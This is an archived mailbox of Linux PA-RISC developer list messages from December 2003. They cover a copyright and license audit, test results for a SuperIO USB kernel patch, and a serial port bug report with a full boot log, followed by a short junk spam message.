Preferably seperate patches.

If someone prepared a precise list of (a) and (c) I could start determining
who owns (a) for each file and add the appropriate copyright.
I or willy could ask for (c) get formal permission to use GPL if it's not
part of the current team.

thanks,
grant


From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] audit for copyright/license
Date: Mon, 22 Dec 2003 15:38:22 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <3FB265EC000183ED@ocpmta3.freegates.net>
References: <20031222020743.GD26083@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623074 3662 80.91.229.3 (22 Nov 2014 02:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Mon Dec 22 07:38:28 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D37794852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Dec 2003 07:38:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AYRCR-0001Oy-00; Mon, 22 Dec 2003 15:38:23 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 22 Dec 2003 15:38:22 +0100
In-Reply-To: <20031222020743.GD26083@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Dec 2003 14:38:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20460

Hi Grant,

[...]
>We need to determine which files have:
>a) no copyright
>b) a non standard copyright
>c) no license
>d) a non standard license
>
>You have time to prepare a patch for (b) and (d)?

Not at all this week (end of year holidays)
But if it can wait begining of next year, ...

>Preferably seperate patches.

... I can prepare you somes patches (may be severall chunk, I don't think
to be able to manage all in one shot)
Please advise :)


>If someone prepared a precise list of (a) and (c) I could start determining
>who owns (a) for each file and add the appropriate copyright.
>I or willy could ask for (c) get formal permission to use GPL if it's not
>part of the current team.

Let me know also if you don't find other volonteer ;)

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] DIFF 2.6.0-pa3 suckyio USB support (+ide-cdrom
	success)
Date: Mon, 22 Dec 2003 16:05:05 +0100
Lines: 167
Approved: news@gmane.org
Message-ID: <3FB265EC00018428@ocpmta3.freegates.net>
References: <20031221051041.GC12969@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623074 3668 80.91.229.3 (22 Nov 2014 02:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:34 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Dec 22 08:05:10 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B89374852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Dec 2003 08:05:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AYRcJ-00054R-00; Mon, 22 Dec 2003 16:05:07 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 22 Dec 2003 16:05:05 +0100
In-Reply-To: <20031221051041.GC12969@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Dec 2003 15:05:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20461

Hi Grant,

Very great that was THE patch I am waiting for.

Success fully tested on the b2k with k-2.6.0-pa4 32bit (still have to see
for 64bit), that you could can guess as it is a model near c3k. What I test
also with success :)) is the ide-cdrom wich seems to works fine (find about
5245 file on a iso-cd, tar tzslpf a 41Mb tgz file, vi some other files, ...)

Here are the additional paramters I used:
#
# ATA/ATAPI/MFM/RLL support
#
CONFIG_IDE=y
CONFIG_BLK_DEV_IDE=y

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDEDISK is not set
CONFIG_BLK_DEV_IDECD=y

#
# IDE chipset support/bugfixes
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_ADMA=y
CONFIG_BLK_DEV_IDEDMA=y

Note that I have to add generic dma support because without I got following
errors:
 CC      drivers/ide/setup-pci.o
drivers/ide/setup-pci.c: In function `ide_hwif_setup_dma':
drivers/ide/setup-pci.c:511: warning: implicit declaration of function `ide_setup_dma'
  CC      drivers/ide/ide-proc.o
[snip]
  LD      .tmp_vmlinux1
drivers/built-in.o(.text.ide_hwif_setup_dma+0x150): In function `ide_hwif_setup_dma':
: undefined reference to `ide_setup_dma'
make: *** [.tmp_vmlinux1] Error 1.

hth,
    Joel


>-- Original Message --
>Date: Sat, 20 Dec 2003 22:10:41 -0700
>From: Grant Grundler <grundler@parisc-linux.org>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] DIFF 2.6.0-pa3 suckyio USB support
>
>
>Hi all,
I finally figured out why suckyio USB was broken...lots of little things.
I still can't start X11 but it's likely some other issue (.config
file options likely - I'll post a seperate mail on that)

Diff is at:
	ftp://ftp.parisc-linux.org/
>atches/diff-2.6.0-suckyio-03

I don't have time to testing this on all variants (a500 and c3k 64-bit).
Please test, comment, and commit if it's looking good. I'll be around
a bit but not really available to commit a final version until after
chris
>mas.

Comments on PCI Config space, diffstat, and comments on the diff follow.

FYA, the final problem was writes to PCI Configuration space.
PCI is by nature a 32-bit bus and byte writes to config space seems
to be broken. I'd like to blame suck
>io for this but not sure I can.
It might be broken for all systems with LBA. Or maybe my proto-C3K
(v2.1 Elroys) is just broken. And I just sent my only other production
C3000 to someone who is having a very happy christmas...
Anyway, using 32-bit 
>rites got everything working and seems safer.

grundler <514>diffstat ~/diff-2.6.0-suckyio-03 
 Makefile                         |    2 
 arch/parisc/kernel/firmware.c    |   63 +++++++++-
 arch/parisc/kernel/inventory.c   |   14 --
 drivers/net/
>ulip/media.c        |   10 +
 drivers/parisc/Kconfig           |    3 
 drivers/parisc/iosapic.c         |  154 ++++++++++++--------------
 drivers/parisc/iosapic_private.h |   20 +--
 drivers/parisc/sba_iommu.c       |   15 ++
 drivers/parisc/sup
>rio.c         |  231 +++++++++++++++++++--------------------
 include/asm-parisc/pci.h         |    1 
 include/asm-parisc/pdc.h         |    6 -
 include/asm-parisc/superio.h     |   42 ++++---
 12 files changed, 313 insertions(+), 248 deletions(-
>

Here's a summary of changes:
o properly document the fact that SuckyIO uses INTD of the USB device
  to get the interrupt routine for "Legacy IO" devices.
  Restructured the hacks in iosapic_fixup_irq(), superio_fixup_irq() and
  superio_init()
>to make the initialization sequence a bit more obvious.

o simplify the suckyio serial_init() to use static initializers.
  Registering each port is really only three lines of code now.

o fix iosapic bug where two EIR bits where getting allocated
>in the
  case where two "devices" used the same iosapic IRQ line.
  Only one was actually used.
  Simple check midway down in iosapic_fixup_irq() takes care of that.

  The two functions of built-in SCSI 53c896 on C3000 exposed this bug.
  Both u
>e INT A.
  Normally a multifuction device like 53c896 will use INT A and INT B.

o remove "vi_" prefix from iosapic vector fields.
  Code is a bit more readable now.
  (sorry - it itched really badly :^)

o moved pdc_io_reset_devices() call to s
>a code. It's only needed for
  SBA systems which are NOT PAT PDC. Does NOT interfere with serial
  or pdc console.

o added pdc_pci_config() accessor primitives but have not tested them.
  I thought I would need them but don't (yet). Left them in 
>lace
  in case someone cares to convert all the cruft in lba_pci.c
  to use PDC calls instead....PAT PDC has a different PDC interface
  but I can deal with that if someone takes care of "legacy PDC"
  systems.

o added gmmio_base field and adver
>ise MMIO resources above 4GB on
  64-bit systems. Not well tested and may want to back this out
  if it even smells like a problem.

o updated comments tulip/media.c and reduce timeout in
  tulip_select_media() to 1ms.

o updated Kconfig help fo
> unsupported CONFIG_PCI_EPIC (V-class only)

o added copyright notice to files I've touched.


enjoy!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linu
>.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial 2 broken in 2.6.0 for b180?
Date: Mon, 22 Dec 2003 17:29:28 +0100
Lines: 359
Approved: news@gmane.org
Message-ID: <3FB265EC00018510@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623075 3671 80.91.229.3 (22 Nov 2014 02:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Dec 22 09:29:31 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF25B4852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Dec 2003 09:29:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1AYSvx-0008QQ-00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Dec 2003 17:29:29 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 22 Dec 2003 17:29:28 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Dec 2003 16:29:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20462

Hi all,

I just got a small problem with my 2.6.0 teting b180: no mean to use the
second serial port.

here is my dmesg file:
Linux version 2.6.0-pa4 (root@fw02.office.palinux) (gcc version 3.3.2 (Debian))
#1 Mon Dec 22 11:43:03 CET 2003
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005040 00000481 00000000 02020202 77d03653 100000f0 00000004 000000ba
000000ba
vers  00000018
CPUID vers 15 rev 24 (0x000001f8)
capabilities 0x2
model 9000/778/B180L
Total Memory: 128 Mb
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Building zonelist for node : 0
Kernel command line: root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-pa4
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Memory: 125956k available
Calibrating delay loop... 119.60 BogoMIPS
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096
}
2. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000
}
3. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a },  additional
addresses: 0xf0800000 
4. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c
}
5. Merlin+ 180 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03f, 0x00081 },
 additional addresses: 0xffd0c000 0xffc00000 
6. Merlin+ 180 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03f, 0x00074
},  additional addresses: 0xffd01000 0xffd03000 
7. Merlin+ 180 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03f, 0x0007b
}
8. Merlin+ 180 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03f, 0x0008c
}
9. Merlin+ 180 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03f, 0x00082
}
10. Merlin+ 180 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03f, 0x00084
}
11. Merlin+ 180 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03f, 0x00084
}
12. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085
},  additional addresses: 0xf0011000 
13. Merlin L2+ 180 (9000/778/B180L) at 0xfffbe000 [62] { 0, 0x0, 0x504, 0x00004
}
14. Memory at 0xfffbf000 [63] { 1, 0x0, 0x05a, 0x00009 }
CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000 MHz
Lasi version 0 at 0xffd00000 found.
Dino parisc8:0 version 3.1 found at 0xfff80000
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
STI GSC/PCI core graphics driver Version 0.9a
STI word mode ROM at f0011000, hpa at f8000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: 0xf8100000
ikconfig 0.7 with /proc/config*
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 160x64
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xfff83800 (irq = 106) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:10:83:35:2A:A9, IRQ 96.
sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18i
Using anticipatory io scheduler
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:5:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
st: Version 20030811, fixed bufsize 32768, s/g segs 256
sym0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 >
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
Console: switching to colour frame buffer device 160x64
ehci_hcd: block sizes: qh 128 qtd 96 itd 128 sitd 64
ohci_hcd: 2003 Oct 13 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
mice: PS/2 mouse device common for all mice
Keyboard initialization sequence failled
input: PS/2 keyboard port at 0xffd08000 (irq 69) found and attached
input: PS/2 mouse port at 0xffd08100 (irq 69) found and attached
HP SDC: No SDC found.
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   143.600 MB/sec
   8regs_prefetch:   143.600 MB/sec
   32regs    :   169.600 MB/sec
   32regs_prefetch:   169.600 MB/sec
raid5: using function: 32regs_prefetch (169.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: considering sdb10 ...
md:  adding sdb10 ...
md: sdb9 has different UUID to sdb10
md: sdb8 has different UUID to sdb10
md: sdb7 has different UUID to sdb10
md: sdb6 has different UUID to sdb10
md: sdb5 has different UUID to sdb10
md: sdb3 has different UUID to sdb10
md: sdb2 has different UUID to sdb10
md:  adding sda10 ...
md: sda9 has different UUID to sdb10
md: sda8 has different UUID to sdb10
md: sda7 has different UUID to sdb10
md: sda6 has different UUID to sdb10
md: sda5 has different UUID to sdb10
md: sda3 has different UUID to sdb10
md: sda2 has different UUID to sdb10
md: created md7
md: bind<sda10>
md: bind<sdb10>
md: running: <sdb10><sda10>
raid1: raid set md7 active with 2 out of 2 mirrors
md: considering sdb9 ...
md:  adding sdb9 ...
md: sdb8 has different UUID to sdb9
md: sdb7 has different UUID to sdb9
md: sdb6 has different UUID to sdb9
md: sdb5 has different UUID to sdb9
md: sdb3 has different UUID to sdb9
md: sdb2 has different UUID to sdb9
md:  adding sda9 ...
md: sda8 has different UUID to sdb9
md: sda7 has different UUID to sdb9
md: sda6 has different UUID to sdb9
md: sda5 has different UUID to sdb9
md: sda3 has different UUID to sdb9
md: sda2 has different UUID to sdb9
md: created md6
md: bind<sda9>
md: bind<sdb9>
md: running: <sdb9><sda9>
raid1: raid set md6 active with 2 out of 2 mirrors
md: considering sdb8 ...
md:  adding sdb8 ...
md: sdb7 has different UUID to sdb8
md: sdb6 has different UUID to sdb8
md: sdb5 has different UUID to sdb8
md: sdb3 has different UUID to sdb8
md: sdb2 has different UUID to sdb8
md:  adding sda8 ...
md: sda7 has different UUID to sdb8
md: sda6 has different UUID to sdb8
md: sda5 has different UUID to sdb8
md: sda3 has different UUID to sdb8
md: sda2 has different UUID to sdb8
md: created md5
md: bind<sda8>
md: bind<sdb8>
md: running: <sdb8><sda8>
raid1: raid set md5 active with 2 out of 2 mirrors
md: considering sdb7 ...
md:  adding sdb7 ...
md: sdb6 has different UUID to sdb7
md: sdb5 has different UUID to sdb7
md: sdb3 has different UUID to sdb7
md: sdb2 has different UUID to sdb7
md:  adding sda7 ...
md: sda6 has different UUID to sdb7
md: sda5 has different UUID to sdb7
md: sda3 has different UUID to sdb7
md: sda2 has different UUID to sdb7
md: created md4
md: bind<sda7>
md: bind<sdb7>
md: running: <sdb7><sda7>
raid1: raid set md4 active with 2 out of 2 mirrors
md: considering sdb6 ...
md:  adding sdb6 ...
md: sdb5 has different UUID to sdb6
md: sdb3 has different UUID to sdb6
md: sdb2 has different UUID to sdb6
md:  adding sda6 ...
md: sda5 has different UUID to sdb6
md: sda3 has different UUID to sdb6
md: sda2 has different UUID to sdb6
md: created md3
md: bind<sda6>
md: bind<sdb6>
md: running: <sdb6><sda6>
raid1: raid set md3 active with 2 out of 2 mirrors
md: considering sdb5 ...
md:  adding sdb5 ...
md: sdb3 has different UUID to sdb5
md: sdb2 has different UUID to sdb5
md:  adding sda5 ...
md: sda3 has different UUID to sdb5
md: sda2 has different UUID to sdb5
md: created md2
md: bind<sda5>
md: bind<sdb5>
md: running: <sdb5><sda5>
raid1: raid set md2 active with 2 out of 2 mirrors
md: considering sdb3 ...
md:  adding sdb3 ...
md: sdb2 has different UUID to sdb3
md:  adding sda3 ...
md: sda2 has different UUID to sdb3
md: created md1
md: bind<sda3>
md: bind<sdb3>
md: running: <sdb3><sda3>
raid1: raid set md1 active with 2 out of 2 mirrors
md: considering sdb2 ...
md:  adding sdb2 ...
md:  adding sda2 ...
md: created md0
md: bind<sda2>
md: bind<sdb2>
md: running: <sdb2><sda2>
raid1: raid set md0 active with 2 out of 2 mirrors
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 504k freed
Adding 127928k swap on /dev/md1.  Priority:-1 extents:1
EXT3 FS on md2, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md0, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md5, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md6, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md7, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
Trying to free nonexistent resource <fff83800-fff83807>

I am rying to use minicom to connect a serial console running on the serial
port2 of another b180 runing 2.4: i don't reach to get any connection (OTC
it
works very fine with the same 2.6.0-pa4 on b2k model :) ).

(i reboot with 2.4.20-pa35 and it's working, so it exclude hw pb)

Test without sucess:
* restart the console on the other b180 running 2.4
* try to reproduce the setserial setup of the working serial 1:
# setserial /dev/ttyS1 -a
/dev/ttyS1, Line 1, UART: 16550A, Port: 0xfff83800, IRQ: 106
        Baud_base: 460800, close_delay: 50, divisor: 0
        closing_wait: 3000
        Flags: spd_normal

# setserial /dev/ttyS0 -a
/dev/ttyS0, Line 0, UART: 16550A, Port: 0x0000, IRQ: 90
        Baud_base: 454545, close_delay: 50, divisor: 0
        closing_wait: 3000
        Flags: spd_normal

# setserial /dev/ttyS1  uart 16550A port 0xfff83800 irq 106 baud_base 454545
spd_normal
(also try with port 0x0000)

* also try with stty:
# stty -F /dev/ttyS1
speed 9600 baud; line = 0;
-brkint -imaxbel

# stty -F /dev/ttyS0
speed 9600 baud; line = 0;
kill = ^X; min = 1; time = 0;
-brkint -icrnl -imaxbel
-opost -onlcr
-isig -icanon -iexten -echo -echoe -echok -echoctl -echoke

# stty -F /dev/ttyS1 kill = ^X ignbrk -brki
t -icrnl ixoff -imaxbel -opost
-onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke

No success?

Any idea?

thanks in advance,
    Joel

PS: I noticed this pb for all 2.6.0 i testes (iirc since 2.6.0-test1-pa...)
but forget to report it, please appology



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jerrold Arthur" <u07pxgry@canada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: dont you come wz h  cth g atdjudnk
Date: Tue, 23 Dec 2003 04:44:01 -0300
Lines: 62
Approved: news@gmane.org
Message-ID: <0gh718ixde2j9l8ww-epqt9@45s.9smfld>
Reply-To: Jerrold Arthur <u07pxgry@canada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BBA__A.C9FF84_D3."
X-Trace: ger.gmane.org 1416623075 3673 80.91.229.3 (22 Nov 2014 02:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: u07pxgry@canada.com  Tue Dec 23 00:50:36 2003
Return-Path: <u07pxgry@canada.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 550404852
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 00:50:36 -0700 (MST)
Original-Received: from 66.83.254.9.nw.nuvox.net (66.83.254.9.nw.nuvox.net
	[66.83.254.9]) by cuprel1.hp.com (Postfix) with SMTP id 2EB8010BE
	for <parisc-linux@parisc-linux.org>;
	Mon, 22 Dec 2003 23:50:35 -0800 (PST)
Original-Received: from [58.187.0.177] by 66.83.254.9.nw.nuvox.net SMTP id
	su5v5f33750cs9; Tue, 23 Dec 2003 04:44:01 -0300
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 07:50:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20463


--BBA__A.C9FF84_D3.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body><jma  kdbop  o dzrnk
bb>
